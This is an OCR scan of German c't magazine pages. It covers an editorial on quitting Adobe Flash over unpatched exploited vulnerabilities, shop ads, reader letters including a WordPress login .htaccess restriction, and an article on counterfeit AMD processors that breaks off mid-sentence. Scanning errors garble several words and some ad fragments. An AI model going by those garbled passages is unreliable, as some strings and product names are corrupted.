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Goodbye Flash! 

Adobe, Dein Flash-Player raubt mir den letzten 
Nerv. Als Du am 14. Januar mal wieder neun 
Sicherheitslücken schließen musstest, habe ich 
noch brav mitgespielt und all meine Systeme auf 
den aktuellen Stand gebracht. Google Chrome 
kümmert sich ja inzwischen dankenswerterweise 
selbst darum, aber dann gibt es auch noch die 
separaten Kopien, auf die Firefox, Internet 
Explorer und Konsorten zurückgreifen. Ich 

hatte mich inzwischen daran gewöhnt, dass die 
automatische Update-Funktion mehr schlecht als 
recht funktioniert, und bin deshalb geübt darin, 
mir die passenden Installationsdateien auf 
Deinen Servern zu suchen. Seit einer Weile 
gelingt es mir sogar, mir dabei nicht die 
McAfee-Antivirensuite einzufangen. Darauf bin 
ich schon ein bisschen stolz. 

Nur eine Woche später musste ich erfahren, dass 
auch in der neuen Version eine kritische Lücke 
klafft. Und diese wurde bereits fleißig von 

Online-Ganoven ausgenutzt. Da man nie so genau 
weiß, welcher Anzeigenserver heute wieder mal 
Exploit-Code ausliefert, hatte ich keine andere 
Wahl, als Flash überall stillzulegen. 

Schon am nächsten Tag kam ein Sicherheitsupdate 
für Flash. Ich schreibe bewusst "ein" und nicht 
"das", weil nach dem Studieren des begleitenden 
Advisories klar war, dass es keineswegs die 
bereits ausgenutzte Lücke schließt, sondern 
eine andere. Wer die Sicherheitshinweise nicht 
gelesen hatte, fühlte sich sicher. Du hast weder 
auf der Download-Seite noch bei der Installation 
darauf hingewiesen, dass der Rechner trotzdem 
verwundbar bleibt - und es vielleicht gar keine 
so schlechte Idee wäre, Flash für ein paar Tage 
in den Zwangsurlaub zu schicken. 

Ich habe mir dieses Update erspart. Statt durch 
Entzugserscheinungen wurden die nächsten Tage 
durch die Erkenntnis geprägt, dass Steve Jobs 
Recht hatte: Es geht auch ohne Flash! Nur selten 
stößt man noch in Bereiche des Internets vor, in 
denen der Verzicht auf Dein Plug-in nennenswerte 
Nachteile mit sich bringt. Wer schon mal längere 
Zeit mit einem iPad gesurft hat, wird das 
wissen. Die wichtigsten Video-Portale liefern 
inzwischen automatisch über HTMLS aus, wenn 
Flash fehlt. Außerdem wird man nicht mehr so 
häufig von knallig bunten Werbeanimationen 
angeschrien. Und falls es dann doch mal hakt, 
greift man halt zu einem Browser wie Chrome, 
der das Plug-in nur bei akutem Bedarf aktiviert, 
wenn man die Click-to-Play-Funktion scharf 

schaltet. Ganz ohne Update-Stress. 

Auch wenn es seit einigen Tagen endlich das 
Update gibt, das alle (aktuell bekannten) 

Sicherheitslücken schließt, werde ich mein 

neues, befreites Leben nicht wieder aufgeben. 
Offenbar habe nicht nur ich die Nase voll, 
sondern auch andere: So hat etwa YouTube nur 
wenige Tage nach dem Update-Dilemma endlich 
seinen HTMLS-Player zum neuen Standard gesetzt. 
Flash ist nur noch zweite Wahl. 

Also Adobe, danke für alles, aber ich bin dann 
mal weg. Grüß Java von mir. 
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Für Wissenshungrige 
Ausgewählte Fachliteratur 

Ruth Suehle, Tom Callaway 

Hacks für Raspberry Pi 
ln Raspberry Pi Hacks wird das �e 
Einsatzspektrum des Single-Board-Computers 
Raspberry Pi dargestellt. ln 65 ausführlichen 
Hacks wird die optimale Konfiguration des 
Mikrocontrollers behandelt, die bestmögliche 
Linux-lauffähigkeit, der Aaspberry Pi in der 
Hausautomation sowie Im Multimedia-Bnsatz. 

Auch als eBook erhältlicht 

ISBN 9783955616328 
shop.heise.de/raspbenypl 

JOrg Rech 

Ethernet - Technologien und Protokolle 

für die Computervemetzung 

Sowohl in Firmen als auch in Privathaushalten 
bilden Computemetzw�e einen grund­
legenden Bestandteil der IT-l..andschaf1. 
Insbesondere moderne Unternehmen sind 
heute ohne ein Local Area Network (lAN) 
praktisch nicht mehr vorstellbar. 

Auch als eBook erhältlich! 

ISBN 9783944099040 
shop.heise.de/ethemet 

Exklusive Sonderhefte 

------· .ct . , ..... 

c't Security 
Daten verschlüsseln, Surf-Risiken minimieren, 
Passwör1er verwaiten und mehr: Das neue 
Sonderhell c't Security 2014 hilft. sich sicherer 
im Netz zu bewegen. Beigelegt ist eine 
Doppei-Live-DVD mit c't Bankix und dem 
Forensrk-System DEFf. 
Leser bekommen zudem 1 JahrGratis­
Virenschutz mit NOD32 Antivirus 7. 
Auch als eBook erhältRchl 

shop.heise.de/ 
ct-securitY-2014 

c't Digitale Fotografie Spezial 
Entdecken Sie in der neuen Ausgabe 
c't Digitale Fotografie Spezial die ganze Vielfalt 
der Fotografie. Unsere besten l<reativ­
Workshops zeigen, wie Ihnen außergewöhnli­
che Aufnahmen abseits des Üblichen gelingen. 
lnkl. DVO mit spannenden Video-Tutorials. 

Auch als eBook erhältlich! 

Die� J Wrll lllit , Arduino 
nldl!dlcn 

:=-=..-
·--

3D-Druck 
J .... � 
·-=---

Erik Bartmann 

Die elektronische Welt mit 
Arduino entdecken, 2. Auflage 
Dieses Buch hat bereits in der ersten Aullage 
alle Rekorde und Superlative geschallt, die in 
diesem Bereich mög�ch sind. Und jetzt legt der 
Autor mit seiner zweiten Auflage noch einen 
drauf: Er hat sein Buch auf über 1 .000 Seiten 
erweitert und stellt zahlreiche neue Projekte vor. 

Auch als eBook erhältlich! 

ISBN 9783955611156 
shop.heise.de/arduino 

Kathnn Passig, Johannes Jander 

Weniger schlecht programmieren 
Kathnn Passig gilt als Meisterin des 
unorthodoxen BlickWinkels, und wenn sie sich 
zusammen tut mit einem gestandenen 
Entwickler, um etn Programmierbuch zu 
schreiben, darfman gespannt sem. 

Auch als eBook erhältlich! 

ISBN 9783897215672 
shop.heise.de/ 
ws-programmieren 

c't Programmieren 
Ist Programmieren ein Handwerk oder eme 
Kunst? Wie Handwerker müssen Programmie­
rer ihre Werkzeuge kennen und beherrschen, 
auf der anderen Seite ist das Erstellen von 
Programmen etn kreativer Prozess. Bne 
aktuelle Rundumschau des Themas in 2014. 

Auch als eBook erhältHd1! 

shop.heise.de/ 
programmleren2014 

c't wissen 3D-Druck 
Auf Ober 120 Seiten gibt das Sonderheft einen 
Überblick über wichtige 3D-Druck-Techniken 
sowie Online-Dienstleister, und bietet Test· 
berichte zu elf aktuellen 3D-Druckem. 
Dazu kommen viele praktische lipps und 
Anleitungen, auch für Bnsteiger. 

Auch als eBook erhältlich! 

shop.helse. de/ 
c t-wissen-3d 



Achten Sie auf dieses Symbol und sichern Sie sich Ihre 
Vorteilspreise -exklusiv für Inhaber der c't-Netzwerkkarte. 

shop. h e ise.de 

und Bastelfreaks! 
Nützliche Gadgets und Tools 

Raspberry Pi 
Model 8+ 
Starterset e 
Im Set enthalten ist: 
Raspbery Pi Model B+ 
512MB RAM ,Made 
in UK", passgenaues. 
schwarzes Gehäuse 
aus Kunststoff, 
Samsung 8 GB SDHC 

Karte mit vorinstalliertem �Noobs", leistungs­
fähiges Steckemetzteil ErP 
micro USB, 5Volt. 2A. 

sugru­
selbsthärtender 
Silikongummi 
Der unglaubliche und neue 
sei bsthärtende Silikongummi 
zum Reparieren und 
Verbessern unserer Alltags­
gegenstände, um die Dinge 
unseren Bedürfnissen 
anzupassen. Hält auf last 

jedem Material. 

s h op.h ei se.de/raspi-set shop.helse.de/sugru 

� 
Badehand­
tuch Monkey 
lsland 
Der berühmte 
Knobei-P�rat in 
Pixeln auf einem 

Badehandtuch. Das Monkey lsland Badhandtuch 
ist genau das Richtige für Dich. 
Bringe das Point-and-Ciick-Grübeln zurück an die 
Strände und in Dein Badezimmer! 

Cyber Clean® 
Horne & Office 
Oie patentierte Reini­
gungsmasse für noch 
mehr Hygiene in Ihrem 
Alltagsleben. 
Cyber Cleanreinigt Ihre 
Tastaturen und weiteres 
PC-Zubehöräußerst 
effizient. 

shop.helse.de/monk y-lsland shop.heise.de/cyber-clean 

Spannende Lernpakete 

Spiegelreflexkamera selber bauen 
Fotografieren macht Spaß, einen Fotoappa­
rat selbst zu bauen umso mehr. Mit diesem 
Komplettbausatz wird datGUS ein Kinderspiel: 
Auch ohne Vorkenntnisse zaubern Sie mit den 
enthaltenen Bauteilen in kÜizes1er Zeit etne voll 
lunktioosfähige Kamera im Stil der legendären 
zweiäugigen Spiegelreflexkarnern Rolleiflex. 

shop.helse.de/spiegelr'ellex 

� 
Werkzeugset 
53 in 1 
Das Werkzeugset 
besteht aus 53 
kleinen präzise 
gefertigten Bits für 
nahezujeden 
Anwendungsfall. 

Das Set eignet sich ideal für das Öffnen von 
Mobiltelefonen, Computern. Laptops, POAs, 
PSPs, MP3-Piayem und 
vielem mehr. 

shop.helse.de/werkz.eugbox 

T-Shirt 
So mething 
went terribly 
wrong 
Jüngste Forschun­
gen haben ergeben, 
dass der homo sapi­

ens nicht mehr das Ende der Evolution markiert 
Von nun an gilt der homo geekensis als die letzte 
Stufe in der Entwicklung des Menschen. Das Shirt 
Ist in den Größen M, L und XL 
erhältlich. 

shop. helse.de/shirt-swt w 

-

Fritzing Creator Kit 
mit Arduino UNO 
Deutsche Edition 
Das Fritzing Creator Kit ermöglicht 
emen schneiten, e1nlachen und vor 
allem untethah:samen Einstieg in 
die Wett der interaktivem Elektronik 

Statt� jetzt shop.helse.de/lritzlng-creator-kit 

Alle aktuellen Zeitschriften des Heise Verlages, ausgewählte Fach!>üclleJ, eBooks 
ur�d digitale Magazine ab 15 € oder für Helse-Abonnenten versandkostenfrei 



Leserforum I Briefe, E-Mail, Hotl ine 

LESERFORUM 
Träume der Freiheitsliebe 

N utzlose Ü berwachu ng, Mi rko Döl le  
i m  Editorial der c't 4/1 5, S. 3 

I h re F re iheits l iebe und I h r  E insatz fü r Bü rger­
rechte in Ehren, aber Sie wiederholen unbe­
kümmert die gedankenlosen Mi lchmädchen­
argumente von Träumern. Die füh ren immer 
gern ins Fe ld ,  d ie Überwachung hätte ja den 
1 1 .  September und d ie französischen Atten­
tate nicht verh indert. 

Und man hätte doch schon vor der Tat viel 
hä rter gegen bereits bekannte Terroristen 
vorgehen müssen ( Ich möchte mir gar nicht 
ausma len, welcher Proteststurm dann losge­
gangen wä re, wei l die "armen Verdächtigen" 
doch da noch gar n ichts getan haben . . .  ) .  

S ie blenden auch komplett d ie Straftaten 
aus, die du rch die von I hnen so gescholtene 
Überwachung bereits verh indert wurden, 
aber le ider n ie die g leiche Beachtung i n  der 
Gutmenschenpresse fanden wie d ie Pannen.  

Ich befü rchte {ja, ich "befü rchte", wei l  ich 
es auch gern anders hätte), wir haben in  einer 
g lobal isierten Weit mit komplett veränderten 
Bed rohungslagen seit dem Ende des ka lten 
Krieges keine andere Wah l  mehr, als tota l zu 
überwachen, um uns zu schützen. Straftäter 
verstecken sich mitten unter uns und je mehr 
kle inka rierte "Privatsphä re" sie von vermeint­
l ichen Bü rgerrecht lern zugebi l l igt bekom­
men, um so gefährl icher wird es fü r uns. 

Marcus Döring 

Nutzlose Überwachung? 

I st Überwachung nutzlos? Diese r ies igen 
Summen sol len keinem Zweck d ienen? 
Snowden, B inney und andere haben wichti­
ge H inweise gel iefert, und die s ind keine Ver-

1 0  

IHRE MEINUNG! 
LESERBRIEFE: 
bitte an redaktion@ct.de. 

IN DEN SOZIALEN MEDIEN: I] RJI Sie finden uns 
&ll bei Facebook 

und Goog le+ 
als ctmagazin. 

Die Redaktion behält sich vor, 
Zuschriften gekürzt zu veröffentlichen. 
Antworten sind kursiv gesetzt. 

schwörungstheorie. Die gesammelten Daten 
(Stichwort Big Data) sind Gold wert, und da­
ra uf so l l  man verzichten? Ob pol itische Kon­
kurrenz, Cyberkrieg, Wi rtschaftsspionage 
und so weiter - die Betei l igten werden schon 
Wege finden, d ie Datensammlungen zum ei­
genen Vortei l  zu nutzen. 

Name der Redaktion bekannt 

Feuer auf Bestellung 

Brandgefa h r  be i  PC-Gehä usen, c't 4/1 5, S. 30  

Ergänzend zu I h rem Artikel möchte ich bei­
steuern, dass die gesch i lderten Probleme 
nicht auf Gehäuse des genannten Herste l lers 
beschränkt sind, sondern bei bel iebigen Ge­
häusen du rch SATA-Docks fü r Laufwerks­
schächte zum Nachrüsten auftreten können. 
Da der Brandgeruch wirklich eindrucksvol l  un­
angenehm ist, fiel hier an einem Rechner das 
sich entwicke lnde Feuer schne l l  auf, sodass 
außer an  der betroffenen Komponente kein 
weiterer Schaden entstand. 

Sven Dahmen 

Nexus 6: kabellos laden/Widgets 

Nexus m it Wachstu mssc h u b, c't 4/1 5, S. 64 

E ine Sache b le ibt bei I h rer Rezens ion zum 
Nexus 6 unerwähnt: Wegfa l l  des schnu rlosen 
Ladens. Wenn man das einmal gewöhnt ist, 
möchte man das nicht mehr missen. I nsbe­
sondere wenn man auch die Frau zu einem 
Nexus 4 gebracht hat. 3 Qi-Ladestat ionen 
müssten entsorgt werden, wenn  man s ich 
jetzt neue Mode l le  zu legt. 

Die brach l iegende LED zur Nach richten­
anzeige ist e in mehr als klei ner Krit ikpunkt 
Und Android 5 ist aus  meiner Sicht le ider 
auch kein Vorte i l .  Die Widgets im Lockscreen 
feh len mir zumindest: Paket aus Packstation 
mit mTAN abho len ging vorher ohne Ent­
sperren des Handys mit einem SMS-Widget 
auf dem Lockscreen. 

Stephan Brunsch 

Unser Modell des Nexus 6lässt sich kabellos via 
Qi-Station laden. Zwar gibt es bei Android 5 
keine echten Widgets mehr auf dem Sperrbild­
schirm, aber fast jede App kann daraufjetzt Be­
nachrichtigungen anzeigen; auch SMS-Lesen 
klappt am Sperrbildschirm 

Fachgerecht, nicht erfolgreich 

Mach's noch e inma l, Acer, Frucht loser 
Repa ratu r-Marathon, c't 4/1 5, S. 74 

Sie sch rei ben: "N immt e in Herste l l e r  e inen 
Repa raturauftrag an  und kassiert den veran­
schlagten Lohn, darf man als Kunde auch er-

warten, dass die Repa ratur erfo lgreich ausge­
füh rt wird." 

Die in  dem Artikel beschriebenen Vorgän­
ge s ind haa rsträ ubend und völ l ig  ind iskuta­
bel. Zwar erwarten Kunden regelmäßig, dass 
die Repa ratur erfo lgreich du rchgeführt wi rd, 
aber rechtl ich gesehen schu ldet der Kunden­
d ienst nur das Bemühen, n icht den Erfo lg .  
Das heißt, es kann  passieren, dass  man einen 
relativ hohen Betrag bezah len muss, obwoh l  
der Feh ler  n icht  behoben wurde .  Was man 
a l lerd ings erwarten kann, ist, dass der Repa­
ratu rversuch fachgerecht du rchgeführt wird. 

Rüdiger Waltemate 

Hausaufgaben machen 

Die Trends 20 1 5, c't 4/1 5, S. 80 

"Die Geräte erkennen, was wir wol len, wir be­
dienen sie ohne Bed ienoberfläche, nur  du rch 
unser Verhalten." Tol l ,  ich bin begeistert. Im 
selben Heft steht aber auch:  USB 3.0 macht 
Zicken, weil s ich Herste l le r  nicht an Spezifi­
kat ionen ha lten .  Thunderbi rd zeigt E-Ma i l s  
n icht  an, we i l  e ine i nterne Datei defekt ist, 
d ie der Bed iener erst du rch kryptische Kom­
mandos reparieren muss. Android Studio fin­
det das Java-SDK n icht, wei l in  der Pfadanga­
be der  absch l ießende Backs lash feh lt .  Die 
Liste l ieße sich fortsetzen. 

Liebe Herste l le r  von Hard- und Software. 
Macht doch bitte erst mal eure Hausaufga­
ben, damit wir uns nicht mehr mit so einem 
Mist herumschlagen müssen. Oder, um es 
mit den Worten meines ehema l igen Chefs zu 
sagen :  "Die großen Dinge scheitern immer 
an  den kle inen." 

Michael Braun  

Cloud-Anbindung 

Wenn ich davon ausgehe, dass in  einem Un­
ternehmen mehrere hundert Mita rbeiter Zu­
g riff auf Daten und Dienste benötigen, dann 
muss dieses sehr schnel l  an das I nternet an­
gebunden sein .  E ine redundante 1 00-MBit­
Stand leitung wäre aus meiner Sicht das Mini­
mum. Im  Zeita lter von asynch ronem DSL 
wird das einige I nvestit ionen bedeuten. Es 
reicht ja nicht mehr, wenn die Daten nu r  
heruntergeladen werden - es  muss ja immer 
auch ein Upload in  die Cloud erfolgen; und es 
nutzt wenig, wenn d ieser auf e iner 1 00/1 0-
MBit/s-Leitung stattfi ndet. 

Was geschieht, wenn die Verbindung ein­
ma l  gestört sein sol lte und eventue l l  n icht 
e inmal  d ie Redundanz etwas nutzt? Aus mei­
ner S icht gehen d iese Themen im a l lgemei­
nen Rummel um die Cloud etwas unter. 

Günter Krembsler 
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Leserforum I Briefe, E-Ma il, Hotl ine 

Selbstfahrend 

"Autonomos" ist e in a ltgr iechisches Wort 
und heißt "nach eigenen Gesetzen". Nach ei­
genen Gesetzen fahrende Automobi le s ind 
n icht der Traum der Menschheit, sondern der 
Al btraum.  Desha l b  werden auch i n  Zukunft 
Menschen die Gesetze/Regeln fü r selbststeu­
ernde Autos fest legen. Jedes Ki nd braucht 
se inen Namen. "Autonomes Auto" ist aber  
Unfug .  Ich nenne meine b londe Tochter ja 
auch nicht Melanie .  

Dr. Johann  Peter F ranz 

Nach Hause telefonieren 

Datenspa rsa m keit leben, c't 4/1 5, 5. 76 

Mich nervt immer wieder Software, die "nach 
Hause telefoniert", obwoh l  d ies fü r d ie offi­
zie l le  (oder vorgebl iche?) Funkt ional ität gar 
n icht nöt ig wäre; gerade im Smartphone-Be­
reich ist d ieses Geschäftsmodel l  ja verbreitet, 
etwa bei Taschen lampen-Apps, aber selten 
offengelegt Und dann g ibt es Softwa re, d ie 
mit dem Herste l ler  kommuniziert, um ih re L i­
zenzierung zu überwachen, nicht nu r  bei der 
Erst insta l lation, sondern auch immer wieder 
im la ufenden Betrieb. 

Leider wird d iese Thematik von vielen, 
sonst krit isch-wachen I nte l l ektue l len kaum 
wahrgenommen oder a l s  s i e  nicht betreffen­
der Techn ikkram abgetan, wie ich im Be­
kanntenkreis er lebe - ganz zu schweigen 
von den vie len, denen man solches gar n icht 
erst vermitte l n  kann .  l n  d iesem S inn bitte 
weiter so mit I h ren Beiträgen, vie l leicht lässt 
sich auf Dauer ja doch etwas bewegen!  

Heinz Reutersberg 

Backup-Strategien für NAS 

Rasante Netzplatten, Netzwerkspeicher 
m it 1 0-Giga bit-Ethernet, c't 4/1 5, 5. 1 02 

I m  Arti ke l  "Rasante Netzplatten" schreiben 
Sie: "Wer keine rege lmäßigen Backups 
macht, hande l t  fah rläss ig ." Das ist auch 
meine Ansicht. Fü r  mein privates Synology­
NAS g ibt es die Mög l ichkeit, Daten automa­
tisch zeitgesteuert auf eine externe Platte si­
chern zu lassen. Ist das fü r Unternehmen aus­
reichend zuverlässig im Gegensatz zu einer 
Bandsicherung? Bänder s ind weniger emp­
fi nd l i ch und  können le icht extern ge lagert 
werden.  Wie würden Sie die Daten eines F i r­
men-NAS sichern? 

Elmar Baumann 

Backup-Strategien haben wir zuletzt ausführ­
lich in c't 13/13 beleuchtet (siehe c't-Link). Pri­
vat sichere ich auf zwei externe Festplatten, die 
im Wechsel aufgefrischt werden und dazwi­
schen vom Server getrennt im Schrank liegen. 
Besser wäre es natürlich, eine der Platten in 
einem feuerfesten Safe in einem anderen Ge­
bäude zu lagern, doch für privaten Gebrauch 
genügt mir der Schrank. Für eine Firma ist Re­
plikation auf ein zweites NAS an einem ande­
ren Standort eine zusätzliche Option. 
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Der Heise Zeitschriften Verlag, in dem die c't 
erscheint, sichert ebenfalls Disk-to-Disk, wenn 
auch in einem anderen Maßstab: Die Daten 
fließen auf ein Festplatten-Array, das in einem 
räumlich getrennten Backup-Rechenzentrum 
steht, allerdings noch auf dem Firmengelände. 
Bestimmte Daten werden für die Langzeitarchi­
vierung zusätzlich auf Bänder gesichert. 

c't Artikel zur Backup-Strategie: 
ct.de/y27g 

Mensch- vs. Maschinen­
Anmeldung 

Bot-Bremse, Pragmatische Word press­
Sicherheitst ipps, c't 4/1 5, 5. 1 1 4 

(ea@ct.de) 

Meiner Beobachtung nach kommen die Mas­
sen-Attacken, die das admin-Passwort zu 
knacken versuchen, praktisch ausschl ieß l ich 
von Servern. Das kann  man ausnutzen, um 
e ine  Maschinen-Anmeldung von einer Men­
schen-Anmeldung zu unterscheiden, indem 
man in  der .htaccess-Datei e ine Liste der Do­
mänen h interlegt, von denen aus Menschen 
sich normalerweise anmelden (s iehe Beispiel; 
d ie Liste ist je nach Situation zu erweitern). 
Die Botnetz-Masch inen la ufen dann d i rekt 
auf Error 403 (forbidden) und stören weder 
den Serverbetrieb noch das e in igermaßen 
s innvol l e  Auswerten des Logs. 

<Files wp-login.php> 
Order deny,allow 
deny from all 
allow from .t-ipconnect.de 
allow from .alicedsl.de 
allow from .arcor-ip.net 

</Files> 

Tar kanns doch 

Otto G l inzer 

Zweite Abwehr l in ie, 5Elin ux und AppArmor 
sch ützen nach dem E in bruch, c't 4/1 5, 5. 1 24 

Kleine Korrektur bezüg l ich ta r: ta r kann  in der 
aktue l len Version 1 .28 (meines Wissens auch 
schon i n  früheren Vers ionen) ACLs s ichern 
und wiederherste l len .  Davon unabhäng ig, 
danke fü r d ie i nformativen Artike l .  

Björn Lotz 

Eher eine Workstation 

Server m it Extras, Main board Asrock Rack 
C226M WS, c't 4/1 5, S. 59 

Das Mainboa rd ist in  der Tat sehr interessant 
fü r kle ine Server. Dass es flexib le Ei nstel lun­
gen im B IOS-Setup zu lässt, fand ich n icht  so 
überraschend:  M i r  sche int  es näml ich fü r 
Rack-Workstat ions gedacht zu sein, daher  
"WS" i n  der Typenbezeichnung .  

Be i  F i rmen s ind solche Rack-Workstations 
nicht ungebräuch l ich. Man kann  damit die 
tendenzie l l  laute Rechen- und Grafikleistung 
aus dem Büro in den Rechnerraum verbannen 
und greift über einen leisen Thin Cl ient darauf 
zu. Wenn die übertragenen Daten dabei kom­
pr imiert werden, kann sogar ohne spü rba re 

Latenzen mit komplexen 3D-Anwendungen 
gea rbeitet werden. E in Kunde von mi r  be­
trachtet so zum Beispiel mit stereo-optischen 
Anwendungen größere Moleküle. 

Dr. Johann  Peter F ranz 

Feine Unterschiede I 

Signa lgast, E ine s imple Methode zur  
Kom m u n i kation zwischen (++-Objekten, 
c't 4/1 5, S. 1 76 

Die Komplexität beim H inzufügen von E le­
menten in std : : l ist ist n icht unbedingt d ie  
g leiche wie be i  std::vector. Be i  std : : l ist i s t  es  
immer 0(1 ), be i  std : :vector i s t  es "0(1) p lus  
e in  Bisschen", we i l  manchmal  doch rea l lo­
ziert und kopiert werden muss (hängt von 
der Implementierung ab) .  

Alexander Reum 

Feine Unterschiede II 

Trotz ih rer Ähn l ichkeiten so l l ten das Obser­
ver-Pattern und  das Pub l ish/Subscribe-Pat­
tern nicht g leichgesetzt werden.  E in  wichti­
ger U nterschied besteht da rin ,  dass beim 
Observer-Pattern Observab le und Observer 
in e iner  1 :n-Beziehung stehen, Pub l i sher  
und  Subscr iber dagegen i n  e iner  n :m-Be­
ziehung .  

Mi r  feh l t  e ine Berücksichtigung der unter­
schied l ichen Lebenszyklen von Pub l i sher  
und Subscriber, d ie be i  nu r  lose gekoppelten 
Objekten zu erwarten sind. E in  Subscriber 
müsste sich vor seiner Zerstörung vom Pu­
b l i sher lösen, e in Pub l isher müsste sich vor 
se iner Zerstörung von a l len Subscribern 
lösen. 

Rolf Wi lms 

Ergänzungen & Berichtigu ngen 

Zoll  statt Mil l imeter 

Auf einen B l ick, F lachbi ld-TV-Trends, c't 4/1 5, S. 34 

Sonys Fernsehermode l l  X900C mit Android 
TV ist 0,2 Zol l  respektive 5 Mi l l imeter dünn -
und nicht 0,2 M i l l imeter, wie versehent l ich 
geschrieben. 

Datengreifer 

Windows Storage Spaces im Vergleich 
zu Ha rdwa re-RAID, c 't  4/1 5, S. 1 34 

i n  der rechten Spalte der Tabel l e  auf S. 1 37 
geht es nicht um sequenzie l le Zugriffe mit 4-
KByte-Biöcken, sondern um zufä l l i g  vertei l te 
(random) - und die E inheit muss IOPS lauten, 
nicht GByte/s. 

Tippfehler in .htaccess 

Bot-Bremse, c't 4/1 5, S. 1 1 4 

l n  dem .htaccess-Sou rcecode-Beispie l  muss 
d ie letzte Zei le nicht </Files>, sondern </Files­
Match> la uten. Andernfa l l s  reag iert der Apa­
che mit einem Server-500-Fehler. 
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Wir feiern Geburtstag: 52 Folgen Podcast c't upl ink 

Was taugt Windows 1 0? Welche Neuheiten 
der CES werden unseren Al ltag verändern? 
Warum hat Nvidia geschummelt? Über d iese 
und viele anderen Techn ik-Fragen d iskutie­
ren wir e inmal pro Woche im (Video-)Podcast 
"c't up l ink". Wi r zeigen Ergebn isse aus aktu­
e l l en Geräte- und Softwa re-Tests, streiten 
uns über neue Entwickl ungen der d ig ita len 
Weit und gewähren e inen B l i ck h inter die Ku­
l issen von Tests und Recherchen. Dabei er­
zäh len wir auch die Geschichten hinter den 
c't-Art ike ln  und verraten das eine oder ande­
re Deta i l ,  das es nicht ins Heft geschafft hat 
(Stichwort: Health-Tracker im Sel bsttest) . 

Gesta rtet a l s  Exper iment im  c't-B iog er­
reicht die kosten lose I nternetsendung  in ­
zwischen bis zu 40 000 Zuschauer und Zu­
hörer . Die aktue l l e  Episode erscheint jeden 
Sa mstag auf  www.ct.de und im  YouTu be­
Channe l  von heise on l i ne.  Die Fo lgen lassen 

Das Team von c't up l ink: 
Mart in Hol land, Hannes Czerul la, Yoda, 

Fabian Scherschel, Johannes Maurer, 
Ach im Barczok, Jan-Keno Janssen 

TOSHIBA 
Leading Innovation >>> 

s ich außerdem a l s  Video- oder Aud io-Pod­
cast per RSS oder über iTunes abonn ieren. 

Zum e injäh rigen Jub i l äum d reht s ich 
Fo lge 5.2 am 7. Februar um die Fragen und 
An regungen unserer Zuschauer und Zuhö-

> DE N EBEN. DEINE ERINN RUNGEN. 

ln eigener Sache I c't up l ink 

rer. F ragen ste l l en und mitdi skutieren kön­
nen S ie auf www.ct.de/u p l i nk, dort fi nden 
Sie d ie aktue l le  und a l l e  früheren Episoden. 
Auf Twitter können Sie uns  über @ctup l ink  
fo lgen.  (acb@ct.de) 
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aktuel l  I Gefä l schte Prozessoren 

Benjamin  Benz 

Schrotthandel 
Gefälschte AMD-Prozessoren im Umlauf 

Origina lverpacku ng, Orig ina lbeschriftung und n icht aus 
windiger Que l le, sondern von Amazon, und doch m it 
völ l ig anderem I n nen leben a ls  erwartet: Derzeit ku rsieren 
gefä lschte Prozessoren namens AS-7600, die n icht nur fünf 
Jahre ä lter s ind a ls  behauptet, sondern auch n icht in  die 
fü r sie vorgesehenen Main boards passen .  

F ä l schung? Extrem unwah r­
sche in l i ch - woh l  eher e ine 

Verwechs l ung !  Das wa ren un­
sere ersten Gedanken, a l s  uns  
Leser Ka rsten K .  sch rieb, er ha lte 
e inen AMD-Prozessor  i n  der 
Hand,  der n icht ins  Ma inboa rd 
passe. Sch l ieß l ich s ind Marke­
t ing-Stunts, bei denen a lte Pro­
dukte noch e inmal  neue Namen 
bekommen ebenso branchen­
üb l ich wie (dadu rch) verwi rrte 
Kunden. Doch ein B l ick in AMDs 
CPU-Datenbank widerlegte d iese 
erste These: U nter dem Namen 
AS-7600 l i stet AMD tatsäch l ich 
nur e inen Prozessor aus der 
a ktue l len Kaveri-Bau re ihe mit 
3, 1  b is 3 ,8 GHz fü r d ie  Fassung 
FM2+.  Genau mit d iesen Merk­
malen hatte ihn  Ka rsten K. auch 
beim Versandhänd le r  Amazon 
geordert. 

Aber die B i lder, die er uns  
schickte, zeigten etwas, das e i ­
gent l ich n icht  se in  da rf: D ie  
Oberseite der CPU weist s ie  ohne 
Zweifel a l s  A8-7600 aus .  Besch rif­
tung, QR-Code und Seriennum­
mer wecken keiner le i  Verdacht. 
Das Bi ld der Unterseite fü r s ich 
a l le ine auch n icht - zu mindest, 
wenn noch das Jahr  2009 wäre, 
denn es zeigt das P inout e ines 
lä ngst nicht mehr hergeste l lten 
AM2+-Prozessors. Eine Ver­
wechs lung ist ausgeschlossen, 
wei l die Fassungen AM2+ und 
FM2+ schon mechan isch zu­
einander inkompatibel s ind.  Un­
terscheiden kann  man sie ohne 
Weiteres, wei l  d ie  moderne 
FM2+-Fassung i n  der  Mitte der 
CPU eine g roße F läche frei lässt, 
während d ie a lte AM2+-Fassung 
dort P ins vorsieht. 

Spurensuche 

Als wenige Tage später das Cor­
pus Del icti in der c't-Redakt ion 
eintraf, gab es g leich d ie nächste 
Überraschung :  Ka rsten K. hatte 
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die CPU nicht etwa a l s  Tray-Wa re 
irgendwo ergattert, sondern d ie 
offizie l le  Boxed-Version bekom­
men. Das holog rafische Siegel 
der Packung war unverletzt und 
d ie Rechnung stammte von 
Amazon Deutsch land, nicht von 
irgendeinem Resel ler .  Weder an 
der Verpackung noch am Auf­
d ruck der CPU konnten wi r mit  
b loßem Auge i rgendwelche Spu­
ren einer Fä lschung erkennen. 

Laut der Gravur auf ih rem De­
ckel ,  so l l  die CPU in der 30. Ka­
lenderwoche 20 1 4  bei AMD vom 
Band gelaufen sein .  Damit schei­
den Verwechsl ung oder Produk­
tionsfehler seitens AMD zweifels­
frei aus, denn die Produktion von 
AM2+-CPUs endete bereits vor 
etwa fünf Jah ren .  G lückl icher­
weise fand sich im gut gefü l lten 
Ha rdwa re-Archiv der Redakt ion 
noch e in passendes Ma inboa rd 
samt Arbeitsspeicher. Die CPU 
meldet s ich selbst a l s  "Ath lon 64 
X2 5200+" mit 2,7 GHz und stü rzt 
Sekundenbruchtei le später ab -
noch wäh rend des Bootvor­
gangs .  Mögl icherweise ist d ie  
CPU defekt oder  der Fä lscher hat 
den Heatspreader n icht wieder 
sauber mit dem Die verklebt. Der 
Ath lon 64 X2 5200+ stammt aus 
AMDs K8-Bau re ihe (Codename 
Br isbane) und  wurde von 2007 
bis 2009 hergestel lt . 

Bei der eingehenden Untersu­
chung der Unterseite der CPU­
Box fie len uns  e in  paar winzige 
Knicke im Ka rton und Rückstän­
de von Kleber auf. Mit e inem 
Cutter gelang es sogar, eine bau­
g leiche Packung ohne sichtbare 
Beschäd igungen zu öffnen, in­
dem wir d ie  Verklebung zwi­
schen den einze lnen Papplagen 
du rchtrennten. Mit etwas Kleber 
hätten wir s ie auch wieder 
